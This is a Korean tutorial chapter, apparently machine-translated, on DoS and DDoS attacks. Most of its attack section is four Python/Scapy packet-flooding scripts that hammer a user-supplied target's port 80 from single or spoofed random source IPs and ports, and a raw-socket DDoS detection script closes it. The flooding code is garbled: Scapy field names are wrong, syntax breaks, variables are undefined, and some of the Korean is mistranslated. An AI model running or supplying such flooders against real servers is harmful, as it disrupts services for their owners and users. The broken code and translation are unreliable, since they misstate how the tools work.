DoS 및 DDoS 공격

이 장에서는 DoS 및 DdoS 공격에 대해 배우고이를 탐지하는 방법을 이해합니다.

전자 상거래 산업의 붐과 함께 웹 서버는 이제 공격에 취약하고 해커의 쉬운 표적이되었습니다. 해커는 일반적으로 두 가지 유형의 공격을 시도합니다.

  • DoS (서비스 거부)
  • DDoS (분할 된 서비스 거부)

DoS (Denial-of-Service) 공격

서비스 거부 (DoS) 공격은 해커가 네트워크 리소스를 사용할 수 없게 만드는 시도입니다. 일반적으로 인터넷에 연결된 호스트를 일시적으로 또는 무기한으로 중단합니다. 이러한 공격은 일반적으로 은행, 신용 카드 결제 게이트웨이와 같은 미션 크리티컬 웹 서버에서 호스팅되는 서비스를 대상으로합니다.

DoS 공격의 증상

  • 비정상적으로 느린 네트워크 성능.

  • 특정 웹 사이트를 사용할 수 없습니다.

  • 웹 사이트에 액세스 할 수 없습니다.

  • 수신 된 스팸 이메일 수가 급격히 증가했습니다.

  • 웹 또는 인터넷 서비스에 대한 장기적인 액세스 거부.

  • 특정 웹 사이트를 사용할 수 없습니다.

DoS 공격 유형 및 Python 구현

DoS 공격은 데이터 링크, 네트워크 또는 애플리케이션 계층에서 구현 될 수 있습니다. 이제 다양한 유형의 DoS 공격에 대해 알아 보겠습니다. 파이썬에서의 구현-

단일 IP 단일 포트

단일 IP와 단일 포트 번호를 사용하여 많은 수의 패킷이 웹 서버로 전송됩니다. 웹 서버의 동작을 확인하는 데 사용되는 저수준 공격입니다. Python에서 구현은 Scapy의 도움으로 수행 할 수 있습니다. 다음 파이썬 스크립트는 단일 IP 단일 포트 DoS 공격을 구현하는 데 도움이됩니다.

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
      i = i + 1

실행시 위의 스크립트는 다음 세 가지를 요청합니다.

  • 소스 및 대상의 IP 주소입니다.

  • 소스 포트 번호의 IP 주소입니다.

  • 그런 다음 동작을 확인하기 위해 서버에 많은 수의 패킷을 보냅니다.

단일 IP 다중 포트

단일 IP를 사용하고 여러 포트에서 많은 수의 패킷이 웹 서버로 전송됩니다. Python에서 구현은 Scapy의 도움으로 수행 할 수 있습니다. 다음 파이썬 스크립트는 단일 IP 다중 포트 DoS 공격을 구현하는 데 도움이됩니다.

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

다중 IP 단일 포트

다중 IP를 사용하고 단일 포트 번호에서 많은 수의 패킷이 웹 서버로 전송됩니다. Python에서 구현은 Scapy의 도움으로 수행 할 수 있습니다. 다음 Python 스크립트는 단일 IP 다중 포트 DoS 공격을 구현합니다.

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   
   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

다중 IP 다중 포트

여러 IP와 여러 포트를 사용하여 많은 수의 패킷이 웹 서버로 전송됩니다. Python에서 구현은 Scapy의 도움으로 수행 할 수 있습니다. 다음 Python 스크립트는 다중 IP 다중 포트 DoS 공격을 구현하는 데 도움이됩니다.

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

DDoS (분산 서비스 거부) 공격

DDoS (Distributed Denial of Service) 공격은 온라인 서비스 또는 웹 사이트를 여러 소스에서 생성 된 엄청난 양의 트래픽으로 과부하시켜 사용할 수 없게 만드는 시도입니다.

하나의 컴퓨터와 하나의 인터넷 연결을 사용하여 대상 리소스를 패킷으로 플러딩하는 서비스 거부 (DoS) 공격과 달리 DDoS 공격은 많은 컴퓨터와 많은 인터넷 연결을 사용하며 종종 봇넷이라고하는 전역에 분산되어 있습니다. . 대규모 볼륨 DDoS 공격은 초당 수십 기가비트 (심지어 수백 기가비트)로 측정되는 트래픽을 생성 할 수 있습니다. 자세한 내용은https://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm.

Python을 사용한 DDoS 감지

실제로 DDoS 공격은 트래픽을 보내는 호스트가 가짜인지 실제인지 모르기 때문에 감지하기가 약간 어렵습니다. 아래 제공된 Python 스크립트는 DDoS 공격을 감지하는 데 도움이됩니다.

우선 필요한 라이브러리를 가져 오겠습니다.

import socket
import struct

from datetime import datetime

이제 이전 섹션에서도 생성 한 소켓을 생성합니다.

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

빈 사전을 사용합니다.

dict = {}

다음 코드 줄은 추가 모드에서 DDoS 공격에 대한 세부 정보가있는 텍스트 파일을 엽니 다.

file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())

다음 코드 줄의 도움으로 프로그램이 실행될 때마다 현재 시간이 기록됩니다.

file_txt.writelines(t1)
file_txt.writelines("\n")

이제 특정 IP의 히트를 가정해야합니다. 여기서 우리는 특정 IP가 15 회 이상 적중되면 공격이라고 가정합니다.

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

다음 코드 줄은 IP가 사전에 있는지 여부를 확인합니다. 존재하는 경우 1 씩 증가합니다.

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

다음 코드 줄은 중복을 제거하는 데 사용됩니다.

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

위의 스크립트를 실행하면 텍스트 파일로 결과를 얻습니다. 스크립트에 따르면 IP가 15 회 이상 적중하면 해당 IP 주소와 함께 DDoS 공격이 감지되어 인쇄됩니다.